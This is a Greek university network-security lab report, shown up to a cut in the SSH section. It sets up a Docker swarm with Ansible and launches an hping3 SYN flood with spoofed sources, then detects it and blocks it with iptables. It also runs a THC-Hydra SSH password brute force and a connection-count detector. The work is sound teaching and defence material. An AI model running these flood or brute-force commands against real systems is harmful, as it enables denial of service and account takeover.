body.book #toc,body.book #preamble,body.book h1.sect0,body.book .sect1>h2{page-break-before:always}
.listingblock code[data-lang]::before{display:block}
#footer{padding:0 .9375em}
.hide-on-print{display:none!important}
.print-only{display:block!important}
.hide-for-print{display:none!important}
.show-for-print{display:inherit!important}}
@media print,amzn-kf8{#header>h1:first-child{margin-top:1.25rem}
.sect1{padding:0!important}
.sect1+.sect1{border:0}
#footer{background:none}
#footer-text{color:rgba(0,0,0,.6);font-size:.9em}}
@media amzn-kf8{#header,#content,#footnotes,#footer{padding:0}}
< / style >
< link rel = "stylesheet" href = "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" >
< / head >
< body class = "article toc2 toc-right" >
< div id = "header" >
< h1 > Ασφάλεια Δικτύων και Επικοινωνιών - Εργασία Εξαμήνου< / h1 >
< div class = "details" >
< span id = "author" class = "author" > Καραβίδας Γεώργιος cse242017107@uniwa.gr - Θεοδωρόπουλος Διονύσιος cs171208@uniwa.gr< / span > < br >
< / div >
< div id = "toc" class = "toc2" >
< div id = "toctitle" > Πίνακας περιεχομένων< / div >
< ul class = "sectlevel1" >
< li > < a href = "#_περιγραφή_και_προετοιμασία_του_συστήματος" > 1. Περιγραφή και Προετοιμασία του Συστήματος< / a >
< ul class = "sectlevel2" >
< li > < a href = "#_προαπαιτούμενα" > 1.1. Προαπαιτούμενα< / a > < / li >
< li > < a href = "#_αρχιτεκτονική_συστήματος" > 1.2. Αρχιτεκτονική Συστήματος< / a > < / li >
< li > < a href = "#_script_προετοιμασίας_συστήματος" > 1.3. Script Προετοιμασίας Συστήματος< / a > < / li >
< li > < a href = "#_αυτοματοποιημένες_διαδικασίες" > 1.4. Αυτοματοποιημένες Διαδικασίες< / a > < / li >
< li > < a href = "#_μεταφορά_scripts_στους_workers" > 1.5. Μεταφορά Scripts στους workers< / a > < / li >
< / ul >
< / li >
< li > < a href = "#_ddos_attack" > 2. DDoS Attack< / a >
< ul class = "sectlevel2" >
< li > < a href = "#_έναρξη_λειτουργίας_http_server" > 2.1. Έναρξη Λειτουργίας HTTP Server< / a > < / li >
< li > < a href = "#_παράδειγμα_http_request" > 2.2. Παράδειγμα HTTP Request< / a > < / li >
< li > < a href = "#_εγκατάσταση_εργαλείου_hping3_στους_workers" > 2.3. Εγκατάσταση Εργαλείου hping3 στους workers< / a > < / li >
< li > < a href = "#_εκτέλεση_ddos_attack" > 2.4. Εκτέλεση DDoS Attack< / a > < / li >
< li > < a href = "#_ανίχνευση_ddos_attack" > 2.5. Ανίχνευση DDoS Attack< / a > < / li >
< li > < a href = "#_αντιμετώπιση_ddos_attack" > 2.6. Αντιμετώπιση DDoS Attack< / a > < / li >
< / ul >
< / li >
< li > < a href = "#_ssh_brute_force_attack" > 3. SSH Brute Force Attack< / a >
< ul class = "sectlevel2" >
< li > < a href = "#_εγκατάσταση_εργαλείου_thc_hydra" > 3.1. Εγκατάσταση Εργαλείου THC-Hydra< / a > < / li >
< li > < a href = "#_εκτέλεση_ssh_brute_force_attack" > 3.2. Εκτέλεση SSH Brute Force Attack< / a > < / li >
< li > < a href = "#_ανίχνευση_ssh_brute_force_attack" > 3.3. Ανίχνευση SSH Brute Force Attack< / a > < / li >
< li > < a href = "#_αντιμετώπιση_ssh_bruce_force_attack" > 3.4. Αντιμετώπιση SSH Bruce Force Attack< / a > < / li >
< li > < a href = "#_τροποποίηση_ssh_server_στους_workers" > 3.5. Τροποποίηση ssh-server στους workers< / a > < / li >
< / ul >
< / li >
< li > < a href = "#_ssh_tunelling" > 4. SSH Tunelling< / a > < / li >
< li > < a href = "#_vpn" > 5. VPN< / a > < / li >
< / ul >
< / div >
< / div >
< div id = "content" >
< div id = "preamble" >
< div class = "sectionbody" >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< / div >
< div class = "sect1" >
< h2 id = "_περιγραφή_και_προετοιμασία_του_συστήματος" > 1. Περιγραφή και Προετοιμασία του Συστήματος< / h2 >
< div class = "sectionbody" >
< div class = "sect2" >
< h3 id = "_προαπαιτούμενα" > 1.1. Προαπαιτούμενα< / h3 >
< div class = "paragraph" >
< p > Για την υλοποίηση των ζητουμένων της εργασίας έγινε χρήση της πλατφόρμας του < a href = "http://docs.swarmlab.io/SwarmLab-HowTos/labs/Howtos/docker/install.adoc.html" > Docker< / a > καθώς και εγκατάσταση < a href = "http://docs.swarmlab.io/SwarmLab-HowTos/labs/sec/sec.adoc.html" > Σμήνους< / a > σύμφωνα με τις οδηγίες του εργαστηρίου.< / p >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_αρχιτεκτονική_συστήματος" > 1.2. Αρχιτεκτονική Συστήματος< / h3 >
< div class = "ulist" >
< div class = "title" > Για τους σκοπούς των ερωτημάτων χρησιμοποιήσαμε ένα cluster αποτελούμενο από 5 οντότητες:< / div >
< ul >
< li >
< p > Ένας master κόμβος ο οποίος αποτελεί συντονιστής για το σμήνος όσον αφορά τις διάφορες λειτουργίες του. Επιπρόσθετα αναλαμβάνει την αυτοματοποιημένη - μαζική εγκατάσταση λογισμικών που θα
χρησιμοποιηθούν από τα μέλη του σμήνους για την διεκπαιρέωση εργασιών< / p >
< / li >
< li >
< p > Τέσσερις worker κόμβοι οι οποίοι συμβάλουν στις ποικίλες διαδικασίες του συστήματος< / p >
< / li >
< / ul >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_script_προετοιμασίας_συστήματος" > 1.3. Script Προετοιμασίας Συστήματος< / h3 >
< div class = "paragraph" >
< p > Εφόσον θέσουμε σε λειτουργία το Σμήνος, συνδεόμαστε στον master και εκτελούμε το πρώτο μας script(prepare_system.sh).< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > prepare_system.sh< / div >
< div class = "content" >
< pre > #!/bin/bash
# must run with sudo!!!
sysctl -w net.ipv4.tcp_syncookies=0
apt-get update
apt-get install ansible -y
apt-get install sshpass -y
sed '/\[defaults\]/a host_key_checking = False' /etc/ansible/ansible.cfg > temp & & cat temp > /etc/ansible/ansible.cfg
rm temp
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
echo "[workers]" > inventory
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 > > inventory
master=$(ifconfig | grep 255.255.0.0 | awk '{print $2}')
echo -e "\n[all_hosts]" > > inventory
echo $master > > inventory
nmap -sP $network | grep worker | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2 > > inventory< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Το εν λόγω script αναλαμβάνει να προετοιμάσει τον master κόμβο για τις διάφορες λειτουργίες που θα λάβουν χώρα στην σύνεχεια. Συγκεκριμένα:< / p >
< / div >
< div class = "ulist" >
< ul >
< li >
< p > Απενεργοποιεί το αντίμετρο net.ipv4.tcp_syncookies. Το αντίμετρο SYN cookie αντιμετωπίζει περιστατικά IP Spoofing καθώς έχει σκοπό την αποτροπή του γεμίσματος της ουράς συνδέσεων με αποτελέσμα καινούργιες συνδέσεις να μην γίνονται αποδεκτές. Η απενεργοποίηση του αντίμετρου είναι απαραίτητη καθώς ο master θα λειτουργήσει σαν θύμα του DDoS Attack< / p >
< / li >
< li >
< p > Ενημερώνει την λίστα πακέτων του συστήματος< / p >
< / li >
< li >
< p > Εγκαθιστεί το εργαλείο ansible< / p >
< / li >
< li >
< p > Εγκαθιστεί το εργαλείο sshpass< / p >
< / li >
< li >
< p > Παραμετροποιεί κατάλληλα το config αρχείο του προγράμματος ansible< / p >
< / li >
< li >
< p > Εισάγει στο αρχείο inventory(το οποίο θα χρησιμοιηθεί από το ansible) δύο κατηγορίες χρηστών. Η πρώτη κατηγορία απευθύνεται στους workers του Σμήνους
ενώ η δεύτερη απευθύνεται σε όλους τους hosts< / p >
< / li >
< / ul >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_αυτοματοποιημένες_διαδικασίες" > 1.4. Αυτοματοποιημένες Διαδικασίες< / h3 >
< div class = "paragraph" >
< p > Για την υλοποίηση μαζικών εγκαταστάσεων λογισμικού στα μέλη του σμήνους καθώς και ταυτόχρονη εκτέλεση προγραμμάτων έχουμε αναπτύξει το ακόλουθο script< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > execute_playbook.sh< / div >
< div class = "content" >
< pre > #!/bin/bash
echo "Choose a playbook to execute"
echo "1. Transfer scripts to workers"
echo "2. Install hping3 on workers"
echo "3. Start DDoS Attack"
echo "4. Stop DDoS Attack"
echo "5. Configure ssh on workers"
echo "6. Install openvpn on all hosts"
echo "7. Connect every host to VPN"
echo -e "\nEnter your option: "
read answer
case $answer in
1)
ansible-playbook -i inventory myplaybooks/transfer_scripts.yml --ask-pass --ask-become-pass
;;
2)
ansible-playbook -i inventory myplaybooks/install_hping3.yml --ask-pass --ask-become-pass
;;
3)
ansible-playbook -i inventory myplaybooks/start_ddos_attack.yml --ask-pass --ask-become-pass
;;
4)
ansible-playbook -i inventory myplaybooks/stop_ddos_attack.yml --ask-pass --ask-become-pass
;;
5)
ansible-playbook -i inventory myplaybooks/configure_ssh.yml --ask-pass --ask-become-pass
;;
6)
ansible-playbook -i inventory myplaybooks/install_openvpn.yml --ask-pass --ask-become-pass
;;
7)
ansible-playbook -i inventory myplaybooks/connect_to_vpn.yml --ask-pass --ask-become-pass
;;
*)
echo "invalid option"
;;
esac< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Τρέχοντας το script ο χρήστης μπορεί να επιλέξει την λειτουργία που τον ενδιαφέρει. Η επεξήγηση των ansible playbooks θα πραγματοποιηθεί στην συνέχεια.< / p >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_μεταφορά_scripts_στους_workers" > 1.5. Μεταφορά Scripts στους workers< / h3 >
< div class = "paragraph" >
< p > Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 1 με αποτέλεσμα το ansible να εκτελέσει το playbook transfer_scripts.yml.< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > transfer_scripts.yml< / div >
< div class = "content" >
< pre > ---
- name: Transfer scripts to workers
hosts: workers
become: true
become_user: root
tasks:
- name: Transferring script curl.sh
copy: src=/project/worker_scripts/curl.sh dest=/home/docker mode=0777
- name: Transferring script start_ddos.sh
copy: src=/project/worker_scripts/start_ddos.sh dest=/home/docker mode=0777
- name: Transferring script stop_ddos.sh
copy: src=/project/worker_scripts/stop_ddos.sh dest=/home/docker mode=0777
- name: Transferring script detect_ssh_brute_force.sh
copy: src=/project/worker_scripts/detect_ssh_brute_force.sh dest=/home/docker mode=0777
- name: Transferring script block_ssh_brute_force.sh
copy: src=/project/worker_scripts/block_ssh_brute_force.sh dest=/home/docker mode=0777
- name: Transferring script configure_ssh.sh
copy: src=/project/worker_scripts/configure_ssh.sh dest=/home/docker mode=0777
- name: Transferring script start_local_ssh_forwarding.sh
copy: src=/project/worker_scripts/start_local_ssh_forwarding.sh dest=/home/docker mode=0777< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Η επεξήγηση των λειτουργιών που εκτελεί κάθε script θα πραγματοποιηθεί στην συνέχεια.< / p >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< / div >
< / div >
< div class = "sect1" >
< h2 id = "_ddos_attack" > 2. DDoS Attack< / h2 >
< div class = "sectionbody" >
< div class = "sect2" >
< h3 id = "_έναρξη_λειτουργίας_http_server" > 2.1. Έναρξη Λειτουργίας HTTP Server< / h3 >
< div class = "paragraph" >
< p > Εκτελούμε το script start_server.sh στον < strong > master< / strong > κόμβο.< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > start_server.sh< / div >
< div class = "content" >
< pre > #!/bin/bash
cd myserver
python -m SimpleHTTPServer 8000 & < / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Θέτουμε σε λειτουργία μία web υπηρεσία που εξυπηρετεί HTTP requests στην πόρτα 8000. Στον φάκελο myserver όπου εκκινούμε την υπηρεσία υπάρχει το αρχείο index.html< / p >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_παράδειγμα_http_request" > 2.2. Παράδειγμα HTTP Request< / h3 >
< div class = "paragraph" >
< p > Εκτελούμε το script curl.sh στον < strong > worker_1< / strong > .< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > curl.sh< / div >
< div class = "content" >
< pre > #!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
curl http://$target:8000< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Βρίσκουμε δυναμικά την διεύθυνση IP του server και πραγματοποιούμε ένα HTTP request μέσω του εργαλείου curl. Ο server μας απαντάει με το αρχείο index.html.< / p >
< / div >
< div class = "listingblock" >
< div class = "content" >
< pre > < !DOCTYPE html>
< html>
< body>
< h1> *Beep boop* the server is up and running< /h1>
< /body>
< /html> < / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_εγκατάσταση_εργαλείου_hping3_στους_workers" > 2.3. Εγκατάσταση Εργαλείου hping3 στους workers< / h3 >
< div class = "paragraph" >
< p > Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 2 με αποτέλεσμα το ansible να εκτελέσει το playbook install_hping3.yml.< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > install_hping3.yml< / div >
< div class = "content" >
< pre > ---
- name: Install hping3 on workers
hosts: workers
become: true
become_user: root
tasks:
- name: Installing hping3
apt:
name: hping3
state: present< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_εκτέλεση_ddos_attack" > 2.4. Εκτέλεση DDoS Attack< / h3 >
< div class = "paragraph" >
< p > Σε προηγούμενο βήμα μεταφέραμε ορισμένα scripts στους workers του Σμήνους. Ένα από αυτά είναι το start_ddos.sh< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > start_ddos.sh< / div >
< div class = "content" >
< pre > #!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep master | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
nohup hping3 -S -p 8000 --rand-source --fast $target & < / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Το script start_ddos.sh βρίσκει δυναμικά την διεύθυνση του HTTP Server και εκτελεί DoS επίθεση μέσω του εργαλείου hping3. Ακολουθεί επεξήγηση των επιλογών της εντολής hping3:< / p >
< / div >
< div class = "ulist" >
< ul >
< li >
< p > nohup: Φροντίζει ώστε η διεργασία που δημιουργείται να τρέχει στο παρασκήνιο< / p >
< / li >
< li >
< p > -S: Τα πακέτα που θα σταλθούν θα έχουν το SYN bit ενεργοποιημένο< / p >
< / li >
< li >
< p > -p 8000: Η πόρτα προορισμού θα είναι η 8000< / p >
< / li >
< li >
< p > --rand-source: Κάθε πακέτα θα έχει τυχαία διεύθυνση IP αποστολέα< / p >
< / li >
< li >
< p > --fast: Τα πακέτα θα στέλνονται με γοργό ρυθμό< / p >
< / li >
< / ul >
< / div >
< div class = "paragraph" >
< p > < strong > Η επίθεση επομένως αποτελεί ένα SYN Flooding Attack με αποτέλεσμα πολλές συνδέσεις να μένουν μισάνοιχτες καθώς δεν ολοκληρώνεται το TCP Three Way Handshake.
Ο buffer συνδέσεων του Server γεμίζει και δεν δέχεται καινούργια αιτήματα. Επομένως επιτυγχάνεται Άρνηση Υπηρεσίας.< / strong > < / p >
< / div >
< div class = "paragraph" >
< p > Εκτελούμε το script execute_playbook.sh και στο μενού επιλογών εισάγουμε τον αριθμό 3 με αποτέλεσμα το ansible να εκτελέσει το playbook start_ddos_attack.yml.< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > start_ddos_attack.yml< / div >
< div class = "content" >
< pre > ---
- name: Start DDoS
hosts: workers
become: true
become_user: root
tasks:
- name: Starting DDoS Attack
command: sh /home/docker/start_ddos.sh< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Το playbook start_ddos_attack.yml εκτελεί ταυτόχρονα σε όλους τους workers το script start_ddos.sh με αποτέλεσμα την έναρξη DDoS Attack προς τον master(HTTP Server). Στη
συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh και παρατηρούμε ότι ο Server δεν ανταποκρίνεται.< / p >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_ανίχνευση_ddos_attack" > 2.5. Ανίχνευση DDoS Attack< / h3 >
< div class = "paragraph" >
< p > Μεταβαίνουμε στον < strong > master< / strong > κόμβο και εκτελούμε την εντολή < strong > sudo tcpdump port 8000< / strong > ώστε να διαπιστώσουμε αν υφίσταται ασυνήθιστη δικτυακή κίνηση προς τον Server.< / p >
< / div >
< div class = "listingblock" >
< div class = "content" >
< pre > tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
19:30:14.238511 IP 10.110.79.148.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0
19:30:14.238511 IP 112.148.52.179.d.dyn.claro.net.do.5525 > dd02ad277ce2.8000: Flags [S], seq 405413400, win 512, length 0
19:30:14.267454 IP 28.111.97.87.4697 > dd02ad277ce2.8000: Flags [S], seq 1908833461, win 512, length 0
19:30:14.303286 IP 50.239.103.26.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.338585 IP 194.108.17.99.5526 > dd02ad277ce2.8000: Flags [S], seq 222808557, win 512, length 0
19:30:14.338585 IP adsl-67-127-134-126.dsl.sndg02.pacbell.net.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.367571 IP 196.71.238.168.4698 > dd02ad277ce2.8000: Flags [S], seq 8773725, win 512, length 0
19:30:14.403351 IP 243.154.130.32.4699 > dd02ad277ce2.8000: Flags [S], seq 615709092, win 512, length 0
19:30:14.903838 IP 12.62.142.196.4704 > dd02ad277ce2.8000: Flags [S], seq 698537545, win 512, length 0
19:30:16.169422 IP 100.113.234.104.4716 > dd02ad277ce2.8000: Flags [S], seq 1700667867, win 512, length 0
19:30:17.341758 IP 150.53.177.105.4728 > dd02ad277ce2.8000: Flags [S], seq 1989391975, win 512, length 0
19:30:18.743039 IP 159-138-102-121.flets.hi-ho.ne.jp.4742 > dd02ad277ce2.8000: Flags [S], seq 1799290936, win 512, length 0
19:30:19.009312 IP 231.159.196.181.4745 > dd02ad277ce2.8000: Flags [S], seq 1787026710, win 512, length 0< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Παρατηρούμε ότι πραγματοποιούνται πολλές συνδέσεις σε μικρό χρονικό διάστημα. Κάθε σύνδεση έχει διαφορετική διεύθυνση αποστολέα και το SYN bit είναι ενεργοποιημένο.
Επίσης καμία από τις συνδέσεις δεν φαίνεται να ολοκληρώνει το TCP Three Way Handshake επομένως συμπαιρένουμε ότι πρόκεται για μία SYN Flooding DDoS Attack.< / p >
< / div >
< div class = "paragraph" >
< p > Στην συνέχεια εκτελούμε την εντολή < strong > netstat -tn | grep 8000< / strong > < / p >
< / div >
< div class = "listingblock" >
< div class = "content" >
< pre > tcp 0 0 172.19.0.2:8000 174.77.115.169:10162 SYN_RECV
tcp 0 0 172.19.0.2:8000 89.231.77.26:10134 SYN_RECV
tcp 0 0 172.19.0.2:8000 245.71.230.254:10182 SYN_RECV
tcp 0 0 172.19.0.2:8000 167.54.0.48:10146 SYN_RECV
tcp 0 0 172.19.0.2:8000 0.72.239.96:10203 SYN_RECV
tcp 0 0 172.19.0.2:8000 212.218.200.50:10345 SYN_RECV
tcp 0 0 172.19.0.2:8000 54.48.41.221:10325 SYN_RECV
tcp 0 0 172.19.0.2:8000 154.69.94.37:10290 SYN_RECV< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Παρατηρούμε ότι έχουν πραγματοποιηθεί πολλές συνδέσεις στον HTPP Server ωστόσο σε καμία δεν έχει ολοκληρωθεί το TCP Three Way Handshake.< / p >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_αντιμετώπιση_ddos_attack" > 2.6. Αντιμετώπιση DDoS Attack< / h3 >
< div class = "paragraph" >
< p > Για την εντιμετώπιση της επίθεσης συγκρίνουμε τα SYN πακέτα ανάμεσα σε ένα κανονικό HTTP request και σε ένα άιτημα που δημιουργήθηκε από το hping3.< / p >
< / div >
< div class = "listingblock" >
< div class = "content" >
< pre > 16:55:22.111999 IP project_worker_4.project_net.33526 > 1e2f64f881f9.8000: Flags [S], seq 2437561719, win 64240, options [mss 1460,sackOK,TS val 1358362765 ecr 0,nop,wscale 7], length 0
16:37:29.718510 IP 224.8.186.98.2706 > 1e2f64f881f9.8000: Flags [S], seq 1460290212, win 512, length 0< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Παρατηρούμε ότι τα πακέτα που στέλνονται μέσω του hping3 δεν θέτουν τιμή στο max segment size(mss) σε αντίθεση με τα κανονικά πακέτα που εκκινούν την σύνδεση. Επομένως μπορούμε να
φιλτράρουμε την κίνηση με βάση αυτό το κριτήριο.< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > block_ddos.sh< / div >
< div class = "content" >
< pre > #!/bin/bash
# must run with sudo!!!
sudo iptables -I INPUT -p tcp --dport 8000 --tcp-flags SYN SYN -m tcpmss ! --mss 0:65535 -j DROP< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Το script block_ddos.sh εισάγει στην αλυσίδα INPUT τον παραπάνω κανόνα σύμφωνα με τον οποίο Αν:< / p >
< / div >
< div class = "ulist" >
< ul >
< li >
< p > Το πακέτο εισέρχεται στο σύστημα< / p >
< / li >
< li >
< p > Το πρωτόκολλο που χρησιμοποιείται στο επίπεδο μεταφοράς είναι το TCP< / p >
< / li >
< li >
< p > Η πόρτα προορισμού είναι η 8000< / p >
< / li >
< li >
< p > Το SYN bit είναι ενεργοποιημένο< / p >
< / li >
< li >
< p > Η τιμή του max segment size δεν ειναι απο 0 έως 65535(δηλαδή δεν έχει θέσει κάποιο mss)< / p >
< / li >
< li >
< p > Τότε το πακέτο απορρίπτεται< / p >
< / li >
< / ul >
< / div >
< div class = "paragraph" >
< p > Εκτελούμε το script και στη συνέχεια πραγματοποιούμε ένα HTTP request με την βοήθεια του script curl.sh από τον worker_1. Παρατηρούμε ότι ο Server επιστρέφει το αρχείο index.html
επομένως συμπεραίνουμε πως η επίθεση αντιμετωπίστηκε με επιτυχία.< / p >
< / div >
< div class = "paragraph" >
< p > Εκτελούμε την εντολή < strong > sudo iptables --list< / strong > για την εμφάνιση του κανόνα που προστέθηκε μέσω του script< / p >
< / div >
< div class = "listingblock" >
< div class = "content" >
< pre > Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP tcp -- anywhere anywhere tcp dpt:8000 flags:SYN/SYN tcpmss match !0:65535
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< / div >
< / div >
< div class = "sect1" >
< h2 id = "_ssh_brute_force_attack" > 3. SSH Brute Force Attack< / h2 >
< div class = "sectionbody" >
< div class = "sect2" >
< h3 id = "_εγκατάσταση_εργαλείου_thc_hydra" > 3.1. Εγκατάσταση Εργαλείου THC-Hydra< / h3 >
< div class = "paragraph" >
< p > Για την πραγματοποίηση της επίθεσης εγκαθιστούμε το εργαλείο HTC-Hydra στον master κόμβο με την εντολή < strong > sudo apt-get install hydra< / strong > . Σε αυτό το σενάριο ο master θα αποτελέσει τον
επιτιθέμενο ενώ το worker_1 θα αποτελέσει τον στόχο της επίθεσης.< / p >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_εκτέλεση_ssh_brute_force_attack" > 3.2. Εκτέλεση SSH Brute Force Attack< / h3 >
< div class = "paragraph" >
< p > Έχουμε στην διάθεση μας το αρχείο password_list.txt το οποίο περιέχει τυχαίους κωδικούς. Στη συνέχεια εκτελούμε το script ssh_brute_force.sh.< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > ssh_brute_force.sh< / div >
< div class = "content" >
< pre > #!/bin/bash
network=$(ifconfig | grep 255.255.0.0 | awk '{print $2}' | cut -d '.' -f1-3)
network="$network.*"
target=$(nmap -sP $network | grep worker_1 | awk '{print $6}' | cut -d ')' -f1 | cut -d '(' -f2)
hydra -l docker -P password_list.txt $target ssh< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Το script ssh_brute_force.sh βρίσκει δυναμικά την IP διεύθυνση του worker_1 και εξαπολύει επίθεση προς αυτόν χρησιμοποιώντας το εργαλείο THC-Hydra με τις ακόλουθες επιλογές:< / p >
< / div >
< div class = "ulist" >
< ul >
< li >
< p > -l: Θεωρεί δεδομένο πως το όνομα χρήστη είναι "docker"< / p >
< / li >
< li >
< p > -P: Δοκιμάζει όλους τους κωδικούς που υπάρχουν στο αρχείο password_list.txt< / p >
< / li >
< / ul >
< / div >
< div class = "listingblock" >
< div class = "content" >
< pre > Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2021-01-24 20:47:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking ssh://172.19.0.3:22/
[22][ssh] host: 172.19.0.3 login: docker password: docker
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 5 final worker threads did not complete until end.
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (http://www.thc.org/thc-hydra) finished at 2021-01-24 20:47:59< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > < br > < / p >
< / div >
< / div >
< div class = "sect2" >
< h3 id = "_ανίχνευση_ssh_brute_force_attack" > 3.3. Ανίχνευση SSH Brute Force Attack< / h3 >
< div class = "paragraph" >
< p > Για την ανίχνευση του SSH Bruce Force Attack έχει αναπτυχθεί το script detect_ssh_brute_force.sh< / p >
< / div >
< div class = "listingblock" >
< div class = "title" > detect_ssh_brute_force.sh< / div >
< div class = "content" >
< pre > #!/bin/bash
echo "Starting scan for SSH Brute Force Attacks"
while [ 1 ]
do
count=$(netstat -tn | awk '{print $4}' | grep :22 | wc -l)
if [ $count -gt 20 ]
then
attacker=$(netstat -tn | awk '{print $5}' | grep -v :22 | cut -d ':' -f1 | tail -1)
echo "SSH Bruce Force Attack detected!!!"
echo "$attacker made $count SSH connections at the same time"
echo -e
echo "Data collected:"
netstat -tn
break
fi
sleep 1
done< / pre >
< / div >
< / div >
< div class = "paragraph" >
< p > Το script detect_ssh_brute_force.sh ελέγχει επαννελημένα το αποτέλεσμα της εντολής < strong > netstat -tn< / strong > και όταν ο αριθμός συνδέσεων στην πόρτα 22(δηλαδή στο SSH) είναι πάνω από 20
σταματάει την εκτέλεση του προγράμματος και εμφανίζει πληροφορίες σχετικά με την επίθεση.< / p >
< / div >
< div class = "listingblock" >
< div class = "content" >
< pre > Starting scan for SSH Brute Force Attacks
SSH Bruce Force Attack detected!!!
172.19.0.2 made 22 SSH connections at the same time
Data collected:
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 172.19.0.3:22 172.19.0.2:34536 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34476 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34532 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34500 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34454 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34510 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34508 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34518 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34516 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34506 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34502 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34474 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34524 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:51128 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34448 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34520 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34514 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34504 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34528 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34470 TIME_WAIT
tcp 0 0 172.19.0.3:22 172.19.0.2:34526 ESTABLISHED
tcp 0 0 172.19.0.3:22 172.19.0.2:34512 ESTABLISHED< / pre >
< / div >
< / div >
< div class = "paragraph" >
